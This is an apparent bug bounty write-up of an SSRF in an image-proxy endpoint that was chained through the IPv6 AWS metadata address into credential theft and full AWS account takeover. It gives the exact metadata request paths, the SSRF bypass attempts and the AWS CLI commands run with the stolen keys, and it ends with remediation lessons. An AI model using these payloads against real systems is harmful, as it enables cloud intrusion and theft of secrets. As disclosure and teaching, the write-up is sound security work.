From SSRF to AWS Console: A Journey Through Metadata and Misconfigurations
What started as a simple image proxy quickly escalated to full AWS account compromise when I chained SSRF with overly permissive IAM roles—a reminder that defense in depth isn't optional.

Recon
The target was a content management platform that allowed users to embed external images. To prevent mixed-content warnings and tracking pixels, the platform proxied all external images through their own servers at https://target.com/api/fetch-image?url=<url>.
My initial testing showed the endpoint would fetch any URL I provided:
httpGET /api/fetch-image?url=https://example.com/image.png HTTP/1.1 Host: target.com
The server would fetch the image and return it with proper content-type headers. Standard SSRF testing commenced. I tried:
file:///etc/passwd- Blocked ("Invalid URL scheme")http://localhost/admin- Blocked ("Localhost access denied")http://169.254.169.254/- Also blocked ("Metadata access denied")
The developers had implemented a blacklist. Good for them. But blacklists are famously incomplete.
Discovery
I started fuzzing alternate representations of localhost and the metadata IP:
http://127.0.0.1- Blockedhttp://0.0.0.0- Blockedhttp://[::1]- Blockedhttp://2130706433(decimal IP) - Blocked
Then I tried DNS rebinding techniques, but the application seemed to re-resolve and re-check on each request. Frustrating.
The breakthrough came when I remembered that AWS uses IPv6 for their metadata service as well: http://[fd00:ec2::254]/. I tried it:
httpGET /api/fetch-image?url=http://[fd00:ec2::254]/latest/meta-data/ HTTP/1.1 Host: target.com
Boom. The response contained metadata service output:
codeami-id ami-launch-index ami-manifest-path ... iam/
The AHA moment: The blacklist only checked IPv4 representations of the metadata IP. The IPv6 endpoint was wide open.
Exploitation
I started enumerating the IAM role attached to the EC2 instance:
httpGET /api/fetch-image?url=http://[fd00:ec2::254]/latest/meta-data/iam/security-credentials/ HTTP/1.1
Response:
cms-application-role
Perfect. Now for the credentials:
httpGET /api/fetch-image?url=http://[fd00:ec2::254]/latest/meta-data/iam/security-credentials/cms-application-role HTTP/1.1
Response:
json{ "Code": "Success", "LastUpdated": "2024-01-15T10:30:00Z", "Type": "AWS-HMAC", "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "2024-01-15T16:30:00Z" }
I now had temporary AWS credentials. I configured my local AWS CLI:
bashexport AWS_ACCESS_KEY_ID="ASIA..." export AWS_SECRET_ACCESS_KEY="..." export AWS_SESSION_TOKEN="..." aws sts get-caller-identity
Output:
json{ "UserId": "AROA...:i-0abcd1234", "Account": "123456789012", "Arn": "arn:aws:sts::123456789012:assumed-role/cms-application-role/i-0abcd1234" }
Now came the critical question: what permissions did this role have? I started enumerating:
bashaws s3 ls
code2024-01-10 user-uploads-bucket 2024-01-10 cms-backups 2024-01-10 analytics-data 2024-01-10 admin-secrets
Wait. admin-secrets? That shouldn't be accessible to the application role. I checked:
bashaws s3 ls s3://admin-secrets/
code2024-01-14 database-credentials.json 2024-01-14 api-keys.txt 2024-01-14 aws-root-backup.json
This was bad. Really bad. I downloaded the files (in a controlled manner for the bug report):
bashaws s3 cp s3://admin-secrets/database-credentials.json ./ cat database-credentials.json
The file contained production database credentials, Stripe API keys, and credentials for several third-party services. The aws-root-backup.json contained what appeared to be IAM access keys for an administrative user.
I tested the administrative credentials:
bashexport AWS_ACCESS_KEY_ID="AKIA..." export AWS_SECRET_ACCESS_KEY="..." aws iam list-users
It worked. I had administrative access to the entire AWS account.
Impact
The vulnerability chain allowed me to:
- Bypass SSRF protections via IPv6 metadata endpoint
- Steal IAM temporary credentials from the application instance
- Access S3 buckets with sensitive credentials (overly permissive IAM policy)
- Escalate to full AWS account admin via stored root-equivalent keys
- Access production databases, payment systems, and user data
The vendor's IAM policy for cms-application-role had a wildcard permission:
json{ "Effect": "Allow", "Action": "s3:*", "Resource": "*" }
This meant the application role could access any S3 bucket in the account, not just the buckets it needed for uploads.
Lessons
SSRF prevention requires defense in depth. Blacklists are insufficient—always use allowlists and validate at multiple layers. The metadata service should be blocked at the network level (via iptables or AWS IMDSv2 requirement), not just application logic.
IAM permissions should follow least privilege. The application needed S3 access for one bucket, not all buckets. The correct policy should have been:
json{ "Effect": "Allow", "Action": ["s3:GetObject", "s3:PutObject"], "Resource": "arn:aws:s3:::user-uploads-bucket/*" }
Never store long-lived credentials in S3. Use AWS Secrets Manager or Parameter Store with proper access controls. And definitely never store root-equivalent keys anywhere.
The vendor patched the SSRF (added IPv6 blocking, implemented IMDSv2, added network-level controls), fixed the IAM policies, and rotated all credentials. Bounty: $18,000. The real cost to the company if this had been exploited maliciously? Potentially millions.
Comments (0)
// go deeper
- Practice this in a legal lab: GCP Metadata SSRF → Service-Account Token Exfil
- Read the writeup: From SSRF to Cloud Admin: Chaining AWS Metadata Exposure in a Serverless App
- Read the writeup: SSRF in a PDF Generator Led Me to AWS Metadata and Full Cloud Compromise
- Read the writeup: From Blind XXE to Full Server Takeover: A Cloud Metadata Journey